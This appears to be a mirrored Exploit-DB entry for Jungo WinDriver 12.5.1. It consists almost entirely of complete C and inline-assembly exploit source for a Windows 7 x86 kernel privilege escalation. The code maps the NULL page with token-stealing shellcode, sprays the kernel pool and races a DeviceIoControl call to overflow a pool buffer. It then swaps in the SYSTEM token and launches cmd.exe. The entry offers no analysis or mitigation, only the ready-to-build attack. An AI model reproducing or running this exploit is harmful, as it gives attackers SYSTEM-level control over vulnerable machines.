Jungo Windriver 12.5.1 – Local Privilege Escalation

  • 作者: Fidus InfoSecurity
    日期: 2018-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43494/
  • // ConsoleApplication1.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <Windows.h>
    #include <winioctl.h>
    
    #define device L"\\\\.\\WINDRVR1251"
    #define SPRAY_SIZE 30000
    
    typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );
    
    // Windows 7 SP1 x86 Offsets
    #define KTHREAD_OFFSET0x124// nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET 0x050// nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET0x0B4// nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET0x0B8// nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET0x0F8// nt!_EPROCESS.Token
    #define SYSTEM_PID0x004// SYSTEM Process PID
    /*
    * The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
    */
    __declspec(naked) VOID TokenStealingShellcode() {
    __asm {
     hasRun:
     xor eax, eax; Set zero
     cmp byte ptr [eax], 1; If this is 1, we have already run this code
     jz End;
     mov byte ptr [eax], 1; Indicate that this code has been hit already
    
    ; initialize
    mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
    mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
    
    mov ecx, eax; Copy current _EPROCESS structure
    
    mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
    mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
    
    ; begin system token search loop
    SearchSystemPID :
    mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
    sub eax, FLINK_OFFSET
    cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
    jne SearchSystemPID
    
    mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
    mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
    
    End :
    ret 0x10; cleanup for cdecl
    
    }
    }
    
    BOOL map_null_page()
    {
    /* Begin NULL page map */
    HMODULE hmodule = LoadLibraryA("ntdll.dll");
    if (hmodule == INVALID_HANDLE_VALUE)
    {
    printf("[x] Couldn't get handle to ntdll.dll\n");
    return FALSE;
    }
    PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
    if (AllocateVirtualMemory == NULL)
    {
    printf("[x] Couldn't get address of NtAllocateVirtualMemory\n");
    return FALSE;
    }
    
    SIZE_T size = 0x1000;
    PVOID address = (PVOID)0x1;
    NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
    &address,
    0,
    &size,
    MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
    PAGE_EXECUTE_READWRITE);
    
    if (allocStatus != 0)
    {
    printf("[x] Error mapping null page\n");
    return FALSE;
    }
    
    printf("[+] Mapped null page\n");
    return TRUE;
    }
    
    /*
    * Continually flip the size
    * @Param user_size - a pointer to the user defined size
    */
    DWORD WINAPI flip_thread(LPVOID user_size)
    {
    printf("[+] Flipping thread started\n");
    while (TRUE)
    {
    *(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
    }
    return 0;
    }
    
    DWORD WINAPI ioctl_thread(LPVOID user_buff)
    {
    char out_buff[40];
    DWORD bytes_returned;
    
    HANDLE hdevice = CreateFile(device,
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    0
    );
    
    
    if (hdevice == INVALID_HANDLE_VALUE)
    {
    printf("[x] Couldn't open device\n");
    }
    
    NTSTATUS ret = DeviceIoControl(hdevice,
    0x95382623,
    user_buff,
    0x1000,
    out_buff,
    40,
    &bytes_returned,
    0);
    
    CloseHandle(hdevice);
    return 0;
    }
    
    void spray_pool(HANDLE handle_arr[])
    {
    //create SPRAY_SIZE event objects filling up the pool
    for (int i = 0; i < SPRAY_SIZE; i++)
    {
    handle_arr[i] = CreateEvent(NULL, 0, NULL, L"");
    }
    
    for (int i = 0; i < SPRAY_SIZE; i+=50)
    {
    for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
    {
    CloseHandle(handle_arr[j + i]);
    handle_arr[j + i] = 0;
    }
    }
    }
    
    void free_events(HANDLE handle_arr[])
    {
    for (int i = 0; i < SPRAY_SIZE; i++)
    {
    if (handle_arr[i] != 0)
    {
    CloseHandle(handle_arr[i]);
    }
    }
    }
    
    BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
    {
    HANDLE htoken;
    DWORD length;
    DWORD temp;
    DWORD new_count;
    PTOKEN_PRIVILEGES current_priv = NULL;
    
    if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
    {
    printf("[x] Couldn't get current token\n");
    return FALSE;
    }
    
    //get the size required for the current_priv allocation
    GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);
    
    //allocate memory for the structure
    current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);
    
    //get the actual token info
    GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
    new_count = current_priv->PrivilegeCount;
    
    HeapFree(GetProcessHeap(), 0, current_priv);
    CloseHandle(htoken);
    
    temp = old_count; //store the old count
    *updated_count = new_count; //update the count 
    if (new_count > old_count)
    {
    printf("[+] We now have %d privileges\n", new_count);
    return TRUE;
    }
    else
    return FALSE;
    }
    
    int main()
    {
    HANDLE h_flip_thread;
    HANDLE h_ioctl_thread;
    HANDLE handle_arr[SPRAY_SIZE] = { 0 };
    DWORD mask = 0;
    DWORD orig_priv_count = 0;
    char *user_buff;
    
    check_priv_count(-1, &orig_priv_count);
    printf("[+] Original priv count: %d\n", orig_priv_count);
    
    if (!map_null_page())
    {
    return -1;
    }
    
    *(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;
    
    user_buff = (char *)VirtualAlloc(NULL,
    0x1000,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_NOCACHE | PAGE_READWRITE);
    
    if (user_buff == NULL)
    {
    printf("[x] Couldn't allocate memory for buffer\n");
    return -1;
    }
    memset(user_buff, 0x41, 0x1000);
    
    *(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51
    
    //pool header block
    *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
    *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
    
    //QuotaInfo block
    *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
    *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
    *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
    *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
    
    //Event header block
    *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
    *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
    *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
    *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
    *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
    *(ULONG *)(user_buff + 0x400) = 0x00000000;
    *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
    
    
    
    /*
    * create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
    * Set its priority to highest.
    * Set its mask so that it runs on a particular core.
    */
    h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
    SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
    SetThreadAffinityMask(h_flip_thread, 0);
    ResumeThread(h_flip_thread);
    printf("[+] Starting race...\n");
    
    spray_pool(handle_arr);
    
    while (TRUE)
    {
    h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
    SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
    SetThreadAffinityMask(h_ioctl_thread, 1);
    
    ResumeThread(h_ioctl_thread);
    
    WaitForSingleObject(h_ioctl_thread, INFINITE);
    
    free_events(handle_arr); //free the event objects 
    
    if (check_priv_count(orig_priv_count, &orig_priv_count))
    {
    printf("[+] Breaking out of loop, popping shell!\n");
    break;
    }
    //pool header block
    *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
    *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
    
     //QuotaInfo block
    *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
    *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
    *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
    *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
    
    //Event header block
    *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
    *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
    *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
    *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
    *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
    *(ULONG *)(user_buff + 0x400) = 0x00000000;
    *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
    
    
    spray_pool(handle_arr);
    }
    
    system("cmd.exe");
    
    return 0;
    }